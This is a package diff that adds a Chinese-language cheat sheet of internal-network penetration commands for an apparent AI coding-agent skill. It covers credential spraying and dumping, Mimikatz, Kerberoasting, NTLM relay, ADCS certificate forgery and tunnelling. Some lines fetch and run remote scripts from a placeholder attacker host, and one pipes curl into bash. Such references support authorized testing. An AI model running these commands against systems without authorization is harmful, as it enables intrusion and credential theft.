opencode-skills-collection 4.0.43 → 4.0.44

package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md

@@ -0,0 +1,873 @@
+# 内网渗透
+
+> ⚠️ Security notice: examples below may include download-and-execute patterns, shown for defensive understanding and authorized testing only. Never run them against systems you do not own.
+
+
+_19 条工具命令_
+
+### CrackMapExec  `crackmapexec`
+_内网渗透瑞士军刀_
+
+**Step 0**
+> 扫描网段内的SMB服务
+_platform: linux_
+```
+crackmapexec smb 192.168.1.0/24
+```
+**语法解析：**
+- `crackmapexec` — CME工具 _command_
+- `smb` — SMB协议模块 _value_
+
+**Step 0**
+> 使用单个密码测试多个用户
+_platform: linux_
+```
+crackmapexec smb 192.168.1.0/24 -u users.txt -p Password123
+```
+**语法解析：**
+- `-u` — 用户名或用户文件 _parameter_
+- `-p` — 密码或密码文件 _parameter_
+
+**Step 0**
+> 测试凭证是否有效
+_platform: linux_
+```
+crackmapexec smb 192.168.1.0/24 -u admin -p password
+```
+
+**Step 0**
+> 使用哈希进行认证
+_platform: linux_
+```
+crackmapexec smb 192.168.1.0/24 -u admin -H NTHASH
+```
+**语法解析：**
+- `-H` — NTLM哈希 _parameter_
+
+**Step 0**
+> 在目标机器执行命令
+_platform: linux_
+```
+crackmapexec smb 192.168.1.100 -u admin -p password -x "whoami"
+```
+**语法解析：**
+- `-x` — 执行命令 _parameter_
+
+**Step 0**
+> 在目标机器执行PowerShell
+_platform: linux_
+```
+crackmapexec smb 192.168.1.100 -u admin -p password -X "Get-Process"
+```
+**语法解析：**
+- `-X` — 执行PowerShell命令 _parameter_
+
+**Step 0**
+> 导出SAM数据库
+_platform: linux_
+```
+crackmapexec smb 192.168.1.100 -u admin -p password --sam
+```
+
+**Step 0**
+> 导出LSASS凭证
+_platform: linux_
+```
+crackmapexec smb 192.168.1.100 -u admin -p password --lsa
+```
+
+**Step 0**
+> 执行Mimikatz模块
+_platform: linux_
+```
+crackmapexec smb 192.168.1.100 -u admin -p password -M mimikatz
+```
+**语法解析：**
+- `-M` — 指定模块 _parameter_
+
+**Step 0**
+> 通过WinRM执行命令
+_platform: linux_
+```
+crackmapexec winrm 192.168.1.100 -u admin -p password
+```
+
+---
+
+### Impacket  `impacket`
+_Python网络协议库_
+
+**Step 0**
+> PsExec远程执行
+_platform: linux_
+```
+psexec.py domain/user:password@target_ip
+```
+
+**Step 0**
+> WMI远程执行
+_platform: linux_
+```
+wmiexec.py domain/user:password@target_ip
+```
+
+**Step 0**
+> 通过计划任务执行
+_platform: linux_
+```
+atexec.py domain/user:password@target_ip "command"
+```
+
+**Step 0**
+> SMB远程执行
+_platform: linux_
+```
+smbexec.py domain/user:password@target_ip
+```
+
+**Step 0**
+> 导出所有凭证
+_platform: linux_
+```
+secretsdump.py domain/user:password@target_ip
+```
+
+**Step 0**
+> Kerberoasting攻击
+_platform: linux_
+```
+GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
+```
+
+**Step 0**
+> AS-REP Roasting攻击
+_platform: linux_
+```
+GetNPUsers.py domain/ -usersfile users.txt -format hashcat
+```
+
+**Step 0**
+> NTLM中继攻击
+_platform: linux_
+```
+ntlmrelayx.py -tf targets.txt -smb2support
+```
+
+**Step 0**
+> MSSQL客户端
+_platform: linux_
+```
+mssqlclient.py domain/user:password@target_ip
+```
+
+**Step 0**
+> 通过LSA枚举用户
+_platform: linux_
+```
+lookupsid.py domain/user:password@target_ip
+```
+
+---
+
+### Responder  `responder`
+_LLMNR/NBT-NS/MDNS Poisoner_
+
+**Step 0**
+> 启动Responder监听
+_platform: linux_
+```
+responder -I eth0
+```
+
+**Step 0**
+> 被动分析模式
+_platform: linux_
+```
+responder -I eth0 -A
+```
+
+**Step 0**
+> 启用WPAD代理攻击
+_platform: linux_
+```
+responder -I eth0 -wF
+```
+
+**Step 0**
+> 启用Finger服务
+_platform: linux_
+```
+responder -I eth0 -f
+```
+
+**Step 0**
+> 禁用SMB服务
+_platform: linux_
+```
+responder -I eth0 --disable-smb
+```
+
+**Step 0**
+> 查看捕获的哈希
+_platform: linux_
+```
+cat /usr/share/responder/logs/*.txt
+```
+
+**Step 0**
+> 启用DHCP欺骗
+_platform: linux_
+```
+responder -I eth0 -D
+```
+
+---
+
+### Evil-WinRM  `evil-winrm`
+_WinRM远程管理工具_
+
+**Step 0**
+> 使用密码连接
+_platform: linux_
+```
+evil-winrm -i target_ip -u user -p password
+```
+
+**Step 0**
+> 使用哈希连接
+_platform: linux_
+```
+evil-winrm -i target_ip -u user -H ntlm_hash
+```
+
+**Step 0**
+> 上传文件到目标
+_platform: linux_
+```
+upload local_file remote_path
+```
+
+**Step 0**
+> 从目标下载文件
+_platform: linux_
+```
+download remote_path local_file
+```
+
+**Step 0**
+> 加载PowerShell脚本
+_platform: linux_
+```
+menu
+Bypass-4MSI
+Invoke-Mimikatz
+```
+
+**Step 0**
+> 执行PowerShell命令
+_platform: linux_
+```
+Invoke-Command -ScriptBlock {whoami}
+```
+
+---
+
+### ProxyChains  `proxychains`
+_代理链工具_
+
+**Step 0**
+> 配置SOCKS代理
+_platform: linux_
+```
+vim /etc/proxychains4.conf
+[ProxyList]
+socks5 127.0.0.1 1080
+```
+
+**Step 0**
+> 通过代理运行工具
+_platform: linux_
+```
+proxychains4 nmap -sT -Pn target_ip
+```
+
+**Step 0**
+> 动态代理链
+_platform: linux_
+```
+dynamic_chain
+[ProxyList]
+socks5 127.0.0.1 1080
+socks5 127.0.0.1 1081
+```
+
+**Step 0**
+> 严格按顺序使用代理
+_platform: linux_
+```
+strict_chain
+```
+
+**Step 0**
+> 随机选择代理
+_platform: linux_
+```
+random_chain
+```
+
+---
+
+### BloodHound  `bloodhound-tool`
+_Active Directory关系分析工具_
+
+**Step 0**
+> 启动Neo4j数据库
+_platform: linux_
+```
+sudo neo4j console
+```
+
+**Step 0**
+> 启动BloodHound界面
+_platform: linux_
+```
+bloodhound
+```
+
+**Step 0**
+> 采集所有域信息
+_platform: windows_
+```
+SharpHound.exe -c All
+```
+
+**Step 0**
+> PowerShell远程加载采集
+_platform: windows_
+```
+IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All  # security-allowlist: SEC005
+```
+
+**Step 0**
+> Python版本采集
+_platform: linux_
+```
+bloodhound-python -u user -p password -d domain.com -ns dc_ip
+```
+
+**Step 0**
+> 查询到域管理员的最短路径
+```
+MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
+```
+
+**Step 0**
+> 查询DCSync权限关系
+```
+MATCH (n)-[r:DCSync]->(m) RETURN n,m
+```
+
+**Step 0**
+> 查询无约束委派计算机
+```
+MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
+```
+
+**Step 0**
+> 查询高权限用户
+```
+MATCH (n:User) WHERE n.admincount=true RETURN n
+```
+
+---
+
+### SharpHound  `sharphound-tool`
+_BloodHound数据采集器_
+
+**Step 0**
+> 采集所有数据
+_platform: windows_
+```
+SharpHound.exe -c All
+```
+
+**Step 0**
+> 指定域控制器
+_platform: windows_
+```
+SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.domain.com
+```
+
+**Step 0**
+> 指定域名
+_platform: windows_
+```
+SharpHound.exe -c All --Domain domain.com
+```
+
+**Step 0**
+> 随机文件名隐蔽采集
+_platform: windows_
+```
+SharpHound.exe -c All --RandomizeFilenames --OutputDirectory C:\Users\Public
+```
+
+**Step 0**
+> 指定采集方法
+_platform: windows_
+```
+SharpHound.exe -c Default,ACL,Trusts,Container
+```
+
+---
+
+### SharpSMBClient  `sharpsmbclient-tool`
+_SMB客户端工具_
+
+**Step 0**
+> 列出SMB共享
+_platform: windows_
+```
+SharpSMBClient.exe -d domain -u user -p password -i target_ip -L
+```
+
+**Step 0**
+> 列出共享目录
+_platform: windows_
+```
+SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -l
+```
+
+**Step 0**
+> 下载文件
+_platform: windows_
+```
+SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -g "path\file"
+```
+
+**Step 0**
+> 上传文件
+_platform: windows_
+```
+SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path
+```
+
+---
+
+### PowerSploit  `powersploit-tool`
+_PowerShell渗透测试框架_
+
+**Step 0**
+> 远程加载PowerView
+_platform: windows_
+```
+IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")  # security-allowlist: SEC005
+```
+
+**Step 0**
+> 获取域信息
+_platform: windows_
+```
+Get-NetDomain
+```
+
+**Step 0**
+> 获取域用户
+_platform: windows_
+```
+Get-NetUser
+```
+
+**Step 0**
+> 获取域管理员
+_platform: windows_
+```
+Get-NetGroup "Domain Admins"
+```
+
+**Step 0**
+> 获取域控制器
+_platform: windows_
+```
+Get-NetDomainController
+```
+
+**Step 0**
+> 查找域管理员登录位置
+_platform: windows_
+```
+Find-DomainUserLocation
+```
+
+**Step 0**
+> 获取对象ACL
+_platform: windows_
+```
+Get-ObjectAcl -SamAccountName target
+```
+
+**Step 0**
+> 添加DCSync权限
+_platform: windows_
+```
+Add-DomainObjectAcl -TargetIdentity target -Rights DCSync
+```
+
+---
+
+### NetExec  `netexec`
+_CrackMapExec的继任者，网络渗透测试自动化工具_
+
+**Step 0**
+> SMB共享和用户枚举
+```
+nxc smb 10.0.0.0/24 -u user -p password --shares
+nxc smb 10.0.0.0/24 -u user -p password --users
+```
+**语法解析：**
+- `nxc` — NetExec命令行工具 _command_
+- `smb` — 指定SMB协议 _parameter_
+- `--shares` — 枚举共享目录 _parameter_
+
+**Step 0**
+> 使用单一密码对多用户进行喷射
+```
+nxc smb 10.0.0.0/24 -u users.txt -p "Password123!" --continue-on-success
+```
+
+**Step 0**
+> 通过SMB/WinRM执行命令
+```
+nxc smb target_ip -u admin -p password -x "whoami"
+nxc winrm target_ip -u admin -p password -X "Get-Process"
+```
+
+**Step 0**
+> 提取SAM/LSA/NTDS中的凭证
+```
+nxc smb target_ip -u admin -p password --sam
+nxc smb target_ip -u admin -p password --lsa
+nxc smb target_ip -u admin -p password --ntds
+```
+
+---
+
+### Ligolo-ng  `ligolo-ng`
+_高级内网隧道代理工具，基于TUN接口_
+
+**Step 0**
+> 在攻击机上配置TUN接口和启动代理
+_platform: linux_
+```
+# 创建TUN接口
+sudo ip tuntap add user $(whoami) mode tun ligolo
+sudo ip link set ligolo up
+
+# 启动代理服务
+./proxy -selfcert -laddr 0.0.0.0:11601
+```
+**语法解析：**
+- `ip tuntap add` — 创建TUN虚拟网络接口 _command_
+- `-selfcert` — 使用自签名证书 _parameter_
+
+**Step 0**
+> 在目标机运行Agent连接回攻击机
+```
+./agent -connect attacker_ip:11601 -ignore-cert
+```
+
+**Step 0**
+> 配置路由实现内网直通
+_platform: linux_
+```
+# 在Ligolo控制台:
+session
+start
+# 在攻击机添加路由:
+sudo ip route add 10.10.10.0/24 dev ligolo
+```
+
+---
+
+### SharpHound  `sharphound`
+_BloodHound的C#数据收集器，在Windows域内收集AD信息_
+
+**Step 0**
+> 收集所有AD域信息(用户/组/ACL/Session等)
+_platform: windows_
+```
+.\SharpHound.exe -c All
+```
+**语法解析：**
+- `-c All` — 收集所有类型的数据 _parameter_
+
+**Step 0**
+> 仅从DC收集，不保存缓存，随机文件名
+_platform: windows_
+```
+.\SharpHound.exe -c DCOnly --NoSaveCache --RandomFilenames --MemCache
+```
+
+**Step 0**
+> 循环收集Session信息(2小时，每5分钟一次)
+_platform: windows_
+```
+.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
+```
+
+**Step 0**
+> 收集指定子域的信息
+_platform: windows_
+```
+.\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass
+```
+
+---
+
+### BloodHound-Python  `bloodhound-python`
+_BloodHound的Python数据收集器，可从Linux远程收集AD信息_
+
+**Step 0**
+> 从Linux远程收集AD域全量信息
+_platform: linux_
+```
+bloodhound-python -d domain.com -u user -p password -ns dc_ip -c All
+```
+**语法解析：**
+- `-d` — 目标域名 _parameter_
+- `-ns` — DNS服务器(通常是DC) _parameter_
+- `-c All` — 收集所有类型数据 _parameter_
+
+**Step 0**
+> 使用NTLM哈希进行Pass-the-Hash收集
+_platform: linux_
+```
+bloodhound-python -d domain.com -u user --hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -ns dc_ip -c All
+```
+
+**Step 0**
+> 仅收集组、本地管理员和会话信息
+_platform: linux_
+```
+bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session
+```
+
+---
+
+### Rubeus  `rubeus`
+_Kerberos攻击工具集，用于票据操作和Kerberos攻击_
+
+**Step 0**
+> 请求服务票据用于离线破解
+_platform: windows_
+```
+Rubeus.exe kerberoast /outfile:hashes.txt
+Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
+```
+**语法解析：**
+- `kerberoast` — 请求TGS票据进行离线破解 _command_
+- `/outfile` — 保存哈希到文件 _parameter_
+
+**Step 0**
+> 对不需要预认证的账户请求AS-REP
+_platform: windows_
+```
+Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
+```
+
+**Step 0**
+> 导入Kerberos票据
+_platform: windows_
+```
+Rubeus.exe ptt /ticket:base64_ticket
+Rubeus.exe ptt /ticket:ticket.kirbi
+```
+
+**Step 0**
+> 使用密码或哈希请求TGT票据
+_platform: windows_
+```
+Rubeus.exe asktgt /user:user /password:pass /enctype:aes256 /ptt
+Rubeus.exe asktgt /user:user /rc4:ntlm_hash /ptt
+```
+
+**Step 0**
+> S4U约束委派攻击
+_platform: windows_
+```
+Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt
+```
+
+---
+
+### Certipy  `certipy`
+_AD CS(Active Directory证书服务)攻击工具_
+
+**Step 0**
+> 枚举可利用的证书模板
+```
+certipy find -u user@domain.com -p password -dc-ip dc_ip -enabled -vulnerable
+```
+**语法解析：**
+- `find` — 枚举模式 _command_
+- `-vulnerable` — 仅显示可利用的模板 _parameter_
+
+**Step 0**
+> ESC1: 利用允许SAN的模板伪造管理员证书
+```
+certipy req -u user@domain.com -p password -ca CA-NAME -template VULN_TEMPLATE -upn admin@domain.com
+```
+
+**Step 0**
+> 使用证书进行PKINIT认证获取NT Hash
+```
+certipy auth -pfx admin.pfx -dc-ip dc_ip
+```
+
+**Step 0**
+> Shadow Credentials攻击获取目标用户凭证
+```
+certipy shadow auto -u user@domain.com -p password -account target_user
+```
+
+---
+
+### LaZagne  `lazagne-tool`
+_自动化本地密码恢复工具，支持数十种应用_
+
+**Step 0**
+> 提取所有支持应用的密码
+_platform: windows_
+```
+lazagne.exe all
+```
+**语法解析：**
+- `all` — 搜索所有支持的应用程序 _parameter_
+
+**Step 0**
+> 仅提取指定类别的密码
+_platform: windows_
+```
+lazagne.exe browsers
+lazagne.exe wifi
+lazagne.exe databases
+lazagne.exe sysadmin
+```
+
+**Step 0**
+> Linux版本使用方式
+_platform: linux_
+```
+python3 lazagne.py all
+python3 lazagne.py browsers
+```
+
+---
+
+### Seatbelt  `seatbelt`
+_C#安全审计工具，快速收集Windows系统安全相关信息_
+
+**Step 0**
+> 执行所有安全检查
+_platform: windows_
+```
+Seatbelt.exe -group=all -full
+```
+**语法解析：**
+- `-group=all` — 运行所有检查组 _parameter_
+- `-full` — 详细输出模式 _parameter_
+
+**Step 0**
+> 检查系统和用户相关安全配置
+_platform: windows_
+```
+Seatbelt.exe -group=system -group=user
+```
+
+**Step 0**
+> 运行指定的检查模块
+_platform: windows_
+```
+Seatbelt.exe CredEnum WindowsVault SavedRDPConnections RecentFiles
+```
+
+**Step 0**
+> 远程执行安全审计
+_platform: windows_
+```
+Seatbelt.exe -group=remote -computername=target -username=admin -password=pass
+```
+
+---
+
+### WinPEAS  `winpeas`
+_Windows权限提升辅助脚本，自动发现提权路径_
+
+**Step 0**
+> 执行所有Windows提权检查
+_platform: windows_
+```
+winpeasany.exe
+```
+
+**Step 0**
+> 快速模式(跳过耗时检查)
+_platform: windows_
+```
+winpeasany.exe fast
+```
+
+**Step 0**
+> 仅检查指定类别
+_platform: windows_
+```
+winpeasany.exe servicesinfo
+winpeasany.exe userinfo
+winpeasany.exe systeminfo
+```
+
+**Step 0**
+> 将结果保存到文件
+_platform: windows_
+```
+winpeasany.exe log=output.txt
+winpeasany.exe /quiet > output.txt 2>&1
+```
+
+---
+
+### LinPEAS  `linpeas`
+_Linux权限提升辅助脚本，自动发现提权路径_
+
+**Step 0**
+> 执行所有Linux提权检查
+_platform: linux_
+```
+./linpeas.sh
+```
+
+**Step 0**
+> 全面扫描(含耗时检查)并输出到文件
+_platform: linux_
+```
+./linpeas.sh -a -o output.txt
+```
+
+**Step 0**
+> 无文件落地直接执行
+_platform: linux_
+```
+curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash  # security-allowlist: curl-pipe-bash
+```
+
+**Step 0**
+> 指定检查类别
+_platform: linux_
+```
+./linpeas.sh -s
+# -s: 仅超快速检查
+# -P: 仅密码相关
+# -n: 仅网络信息
+```
+
+---